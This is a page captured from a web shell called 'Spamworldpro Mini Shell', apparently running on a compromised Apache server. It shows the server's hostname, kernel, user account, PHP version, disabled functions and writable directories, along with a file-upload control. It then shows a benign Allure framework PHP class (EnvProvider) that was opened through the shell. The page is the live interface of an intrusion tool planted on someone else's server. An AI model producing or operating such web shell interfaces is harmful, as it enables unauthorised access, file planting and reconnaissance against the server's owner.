Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/allure-framework/allure-php-commons/src/Model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/allure-framework/allure-php-commons/src/Model/EnvProvider.php
<?php

declare(strict_types=1);

namespace Qameta\Allure\Model;

use function is_scalar;
use function is_string;
use function str_starts_with;
use function strlen;
use function strtolower;
use function substr;

final class EnvProvider implements ModelProviderInterface
{
    use ModelProviderTrait;

    private const ENV_LABEL_PREFIX = 'ALLURE_LABEL_';

    /**
     * @var array<string, string>
     */
    private array $env;

    public function __construct(array $env)
    {
        $this->env = $this->normalizeEnv($env);
    }

    /**
     * @param array $env
     * @return array<string, string>
     */
    private function normalizeEnv(array $env): array
    {
        $normalizedEnv = [];
        /** @psalm-var mixed $value */
        foreach ($env as $key => $value) {
            if (is_string($key) && is_scalar($value)) {
                $normalizedEnv[$key] = (string) $value;
            }
        }

        return $normalizedEnv;
    }

    /**
     * @return list<Label>
     */
    public function getLabels(): array
    {
        $labels = [];
        $prefixLength = strlen(self::ENV_LABEL_PREFIX);
        foreach ($this->env as $key => $value) {
            $name = str_starts_with($key, self::ENV_LABEL_PREFIX)
                ? substr($key, $prefixLength)
                : '';
            if ('' != $name) {
                $labels[] = new Label(strtolower($name), $value);
            }
        }

        return $labels;
    }
}

Spamworldpro Mini